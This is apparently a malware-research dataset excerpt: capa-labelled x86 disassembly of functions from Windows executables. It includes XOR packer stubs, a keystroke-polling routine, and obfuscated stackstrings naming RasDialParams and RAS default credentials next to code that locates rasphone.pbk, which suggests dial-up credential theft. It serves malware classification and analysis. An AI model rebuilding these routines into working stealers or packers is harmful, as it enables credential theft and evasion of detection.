joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407180
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4071be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4071b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4071c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4071a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4072a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4072b6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x4072d1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x30c24666
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x128e0763
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x409b31
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x417344]
jne 0x409b3b
repz ret
jmp fcn.0040e5dc

Function at 0x41280c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417344]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040c3d2
and dword [ebp - 0x14], 0
cmp dword [0x434bec], 0
mov dword [ebp - 0x18], eax
jne 0x4128bf
push 0x403744
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x412967
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403738
push ebx
call edi
test eax, eax
je 0x412967
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403728
push ebx
mov dword [0x434bec], eax
call edi
push eax
call esi
push 0x403714
push ebx
mov dword [0x434bf0], eax
call edi
push eax
call esi
push 0x4036f8
push ebx
mov dword [0x434bf4], eax
call edi
push eax
call esi
mov dword [0x434bfc], eax
test eax, eax
je 0x4128bf
push 0x4036e0
push ebx
call edi
push eax
call esi
mov dword [0x434bf8], eax
mov eax, dword [0x434bf8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x412918
cmp dword [0x434bfc], ecx
je 0x412918
push eax
call esi
push dword [0x434bfc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x412918
test ebx, ebx
je 0x412918
call edi
test eax, eax
je 0x41290f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41290f
test byte [ebp - 8], 1
jne 0x412918
or dword [ebp + 0x10], 0x200000
jmp 0x41294b
mov eax, dword [0x434bf0]
cmp eax, dword [ebp - 0x18]
je 0x41294b
push eax
call esi
test eax, eax
je 0x41294b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41294b
mov eax, dword [0x434bf4]
cmp eax, dword [ebp - 0x18]
je 0x41294b
push eax
call esi
test eax, eax
je 0x41294b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x434bec]
call esi
test eax, eax
je 0x412967
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x412969
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409b31
leave
ret
Function at 0x4147a0
Capabilities:
Delete directory
Delete file
Get disk information
Read .ini file

Disassembly:
mov eax, 0x1400
call fcn.00413de0
cmp dword [0x6afdc4], 0x37
jne 0x414817
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x404020
call edi
push 0
lea eax, [esp + 0x808]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x4040e4
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0x404108
call edi
push 0
lea edx, [esp + 0xc08]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
pop edi
mov eax, dword [0x6b09a8]
mov edx, dword [0x6ace24]
mov cl, byte [eax + esi + 0x38d6]
mov byte [edx + esi], cl
add esp, 0x1400
ret
Function at 0x414844
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x49ce98]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
mov dword [esi], vtable.CMSIAfterburnerHAL.0
call fcn.00414612
xor edi, edi
cmp dword [0x49d3a0], edi
je 0x41489a
push 0x104
lea eax, [ebp - 0x108]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
push edi
push edi
lea eax, [ebp - 0x108]
push eax
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, esi
call dword [sym.imp.RTHAL.dll_public_virtual:_void___thiscall_CHAL::destructor_void_]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00467d0a
leave
ret

Function at 0x41beec
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 4], 0
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push edi
push 0x10
mov edi, ecx
call esi
xor ebx, ebx
test ax, ax
push 0x11
setl bl
call esi
xor ecx, ecx
test ax, ax
setge cl
lea eax, [ebp - 0x10]
push eax
mov esi, ecx
call dword [sym.imp.USER32.dll_GetCursorPos]
and dword [ebp - 8], 0
test ebx, ebx
je 0x41bf52
push dword [ebp - 0xc]
mov ecx, edi
push dword [ebp - 0x10]
call fcn.0041ab62
push eax
mov ecx, edi
mov dword [ebp - 8], eax
call fcn.00418e47
test eax, eax
je 0x41bf9f
mov dword [ebp - 4], 1
jmp 0x41bf9f
test esi, esi
je 0x41bf9f
push dword [ebp - 0xc]
mov ecx, edi
push dword [ebp - 0x10]
call fcn.0041ab62
mov ecx, edi
mov dword [ebp - 8], eax
call fcn.0041aaf5
cmp eax, 1
jle 0x41bf9f
push dword [ebp - 8]
mov ecx, edi
call fcn.00418e47
test eax, eax
je 0x41bf9f
cmp dword [ebp - 8], 0x4d4
jne 0x41bf98
lea ecx, [edi + 0x4ec]
call fcn.00462df5
test eax, eax
je 0x41bf9f
mov dword [ebp - 4], 2
lea esi, [edi + 0x4ec]
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call sub.mfc90.dll_Ordinal_2592
cmp eax, esi
jne 0x41bfc7
mov ecx, esi
call fcn.00462df5
test eax, eax
je 0x41bfc7
mov dword [ebp - 4], 2
mov esi, dword [ebp - 4]
cmp dword [edi + 0x148], esi
je 0x41c022
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [ebp - 8], 0
jne 0x41bfea
test esi, esi
jne 0x41bfea
cmp eax, dword [edi + 0x14c]
jbe 0x41c022
add eax, 0x3e8
mov ecx, edi
mov dword [edi + 0x148], esi
mov dword [edi + 0x14c], eax
call fcn.00419bc9
lea ecx, [edi + 0x348]
call dword [sym.imp.mfc90.dll_Ordinal_910]
push eax
push 0x417
mov ecx, edi
call sub.mfc90.dll_Ordinal_2899
mov ecx, eax
call sub.mfc90.dll_Ordinal_6559
pop edi
pop esi
pop ebx
leave
ret
Function at 0x435979
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
or byte [eax], bl
jbe 0x4359b4
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x43599b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x4359ac
add edx, ecx
cmp dword [esp + 0xc], edx
or al, 0x72
invalid
inc edi
add eax, 0x28
cmp edi, esi
jb 0x435991
xor eax, eax
pop edi
pop esi
ret
Function at 0x4374b1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add eax, dword [eax]
add byte [ebx - 0x6fb43], al
inc dword [ecx]
jne 0x437565
and byte [ebp - 0x78c], 0
and byte [ebp - 0x78b], 0
invalid
test dword [esi - 8], esi
invalid
Function at 0x100010d5
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x44], 0
mov dword [esi], 0x10015210
je 0x10001125
push dword [esi + 0x18]
call dword [0x1001bfac]
push dword [esi + 0x18]
call dword [0x1001bfa8]
push 2
lea edi, [esi + 0x30]
pop ebx
push 0x20
push dword [edi]
push dword [esi + 0x18]
call dword [0x1001bfa4]
add edi, 4
dec ebx
jne 0x100010fe
push dword [esi + 0x18]
call dword [0x1001bfa0]
push 0xffffffffffffffff
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp byte [esi + 0x45], 0
je 0x10001156
push dword [esi + 0x40]
call dword [0x1001bfbc]
push 2
lea edi, [esi + 0x30]
pop ebx
push 0x20
push dword [edi]
push dword [esi + 0x40]
call dword [0x1001bf98]
add edi, 4
dec ebx
jne 0x1000113a
push dword [esi + 0x40]
call dword [0x1001bfd0]
push 2
lea edi, [esi + 0x30]
pop ebx
push dword [edi - 0x28]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [edi]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [edi - 0x20]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [edi + 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
add edi, 4
dec ebx
jne 0x1000115c
push dword [esi + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 0x28]
call edi
push dword [esi + 0x2c]
call edi
pop edi
pop esi
pop ebx
ret

Function at 0x10001253
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, ecx
call dword [0x1001bfb4]
test eax, eax
je 0x100012a3
lea eax, [ebp - 4]
xor esi, esi
push eax
push 4
push edi
push 0x1000139d
push esi
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x20000
push esi
push dword [ebp - 4]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x46]
lea ebx, [edi + 0x18]
push eax
push 0xffff
push ebx
call dword [0x1001bfb8]
test eax, eax
je 0x100012a7
xor al, al
jmp 0x10001308
lea esi, [edi + 0x30]
mov dword [ebp - 8], 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov eax, dword [esi]
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov eax, dword [esi]
and dword [eax + 0x10], 0
mov eax, dword [esi]
and dword [eax + 0x14], 0
push dword [esi]
push dword [ebx]
call dword [0x1001bfc0]
add esi, 4
dec dword [ebp - 8]
jne 0x100012b1
mov eax, dword [edi + 0x1c]
push 0x20
push dword [edi + eax*4 + 0x30]
push dword [ebx]
call dword [0x1001bfcc]
push dword [edi + 0x2c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebx]
call dword [0x1001bfc8]
mov byte [edi + 0x44], 1
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002575
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.lstrcatA
mov dword [ebp - 8], ecx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and dword [ebp - 0xc], 0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x11c]
push 0x105
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.lstrcpyA
push ebx
call esi
push eax
call edi
mov esi, eax
push str.Documents_and_Settings_
lea eax, [ebp - 0x11c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
inc eax
pop ecx
push eax
call esi
mov eax, dword [ebp - 8]
push dword [eax + 0x14]
lea eax, [ebp - 0x11c]
push eax
call dword [ebp - 4]
lea eax, [ebp - 0x11c]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
call dword [ebp - 4]
push 0
lea eax, [ebp - 0x224]
push 0x23
push eax
push 0
call dword [0x1001bea4]
lea eax, [ebp - 0x224]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea eax, [ebp - 0x224]
push 0x100190b0
push eax
call dword [0x1001bf30]
lea eax, [ebp - 0x11c]
mov esi, 0x1000
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x224]
push esi
mov dword [ebp - 0x10], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov dword [ebp - 4], eax
lea edi, [ebp - 0x14]
mov dword [ebp - 8], 2
mov ebx, dword [ebp - 4]
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [edi]
push esi
push ebx
call dword [0x1001c358]
mov eax, ebx
cmp byte [eax], 0
je 0x10002692
inc dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebx + eax + 1], 0
lea ebx, [ebx + eax + 1]
jne 0x1000267d
add edi, 4
dec dword [ebp - 8]
jne 0x1000265d
push dword [ebp - 4]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 0xc]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100026ab
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, 0x100
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
mov eax, dword [ecx + 0x14]
test eax, eax
je 0x100026fe
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x228]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x128]
push ecx
push eax
push 0
call dword [0x1001be44]
test eax, eax
je 0x100026fe
lea eax, [ebp - 0x128]
push eax
call dword [0x1001be48]
test eax, eax
jne 0x10002702
xor eax, eax
leave
ret
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.advapi32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
and byte [ebp - 2], 0
mov ebx, eax
lea eax, [ebp - 0x18]
push eax
push ebx
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x76
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x53
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xe], 0x54
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x74
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x69
mov byte [ebp - 8], 0x6e
mov byte [ebp - 7], 0x67
mov byte [ebp - 6], 0x53
mov byte [ebp - 5], 0x69
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x41
call edi
test eax, eax
je 0x1000278e
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x128]
push ecx
call eax
push str.FreeLibrary
push str.KERNEL32.dll
call esi
push eax
call edi
push ebx
call eax
mov eax, dword [ebp - 0x20]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002991
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
and byte [ebp - 2], 0
and byte [ebp - 0x16], 0
push esi
push edi
mov esi, ecx
mov byte [ebp - 0x14], 0x52
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x44
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x50
mov byte [ebp - 0xc], 0x61
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x61
mov byte [ebp - 9], 0x6d
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x21
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0x23
mov byte [ebp - 3], 0x30
mov byte [ebp - 0x30], 0x4c
mov byte [ebp - 0x2f], 0x24
mov byte [ebp - 0x2e], 0x5f
mov byte [ebp - 0x2d], 0x52
mov byte [ebp - 0x2c], 0x61
mov byte [ebp - 0x2b], 0x73
mov byte [ebp - 0x2a], 0x44
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x66
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x75
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x43
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x64
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x23
mov byte [ebp - 0x17], 0x30
call fcn.100026ab
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x130]
push eax
call dword [0x1001bf30]
add esp, 0xc
lea eax, [ebp - 0x130]
mov ecx, esi
push eax
call fcn.100027f4
mov edi, eax
test edi, edi
je 0x10002a9a
mov ax, word [edi]
mov ecx, esi
push eax
push dword [edi + 4]
call fcn.1000285e
push dword [edi + 4]
call fcn.1000d874
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.100027f4
mov edi, eax
test edi, edi
je 0x10002ac1
mov ax, word [edi]
mov ecx, esi
push eax
push dword [edi + 4]
call fcn.1000285e
push dword [edi + 4]
call fcn.1000d874
pop edi
pop esi
leave
ret
Function at 0x10003278
Capabilities:
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10015250
push 0x100136f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x100033d2
push str.lstrcpyA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
push dword [ebp + 8]
push edi
call eax
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10003336
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10003336
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003311
cmp al, 0x5c
je 0x10003311
push esi
call dword [0x1001bf2c]
mov esi, eax
jmp 0x100032f9
cmp byte [esi], 0
je 0x1000331a
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x1000332f
cmp al, 0x5c
je 0x1000332f
push esi
call dword [0x1001bf2c]
mov esi, eax
jmp 0x10003317
cmp byte [esi], 0
je 0x10003355
jmp 0x10003351
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10003355
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003355
cmp al, 0x5c
jne 0x10003355
inc esi
mov dword [ebp - 0x1c], esi
or ebx, 0xffffffff
mov al, byte [esi]
test al, al
je 0x100033b2
cmp al, 0x5c
jne 0x100033a4
and byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x1000338d
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x100033a1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jmp 0x10003392
and eax, 0x10
cmp al, 0x10
je 0x100033a1
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov dword [ebp - 4], ebx
jmp 0x100033d6
mov byte [esi], 0x5c
push esi
call dword [0x1001bf2c]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10003358
mov dword [ebp - 4], ebx
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov al, 1
jmp 0x100033d8
or dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x100033e9
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x358
push ebx
push esi
push edi
push str.lstrcpyA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x104
mov dword [ebp - 0xc], eax
xor edi, edi
push esi
lea eax, [ebp - 0x164]
push edi
push eax
mov dword [ebp - 8], esi
call sub.MSVCRT.dll_memset
push 0x2e
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x14
cmp eax, edi
je 0x100034c9
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push edi
push eax
push 0x80000000
call dword [0x1001be28]
test eax, eax
jne 0x100034c9
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x164]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [0x1001be2c]
call edi
push dword [ebp - 4]
mov ebx, dword [0x1001be30]
call ebx
push 0x1f4
lea eax, [ebp - 0x358]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x358]
push str._s_shellopencommand
push eax
call dword [0x1001bf30]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x358]
push 0
push eax
push 0x80000000
call dword [0x1001be28]
test eax, eax
je 0x100034d0
xor al, al
jmp 0x100035a0
push esi
lea eax, [ebp - 0x164]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
xor esi, esi
push eax
lea eax, [ebp - 0x164]
push eax
push esi
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x164]
push 0x100191c0
push eax
call edi
pop ecx
cmp eax, esi
pop ecx
jne 0x10003560
lea eax, [ebp - 0x164]
push 0x100191bc
push eax
call edi
pop ecx
cmp eax, esi
pop ecx
jne 0x10003560
push str.lstrcatA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x164]
push 0x100191b8
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x164]
push eax
call edi
jmp 0x10003567
push dword [ebp + 8]
push eax
call dword [ebp - 0xc]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x5c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x60], 0x44
je 0x10003584
mov dword [ebp - 0x58], str.WinSta0Default
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x164]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebx
leave
ret 8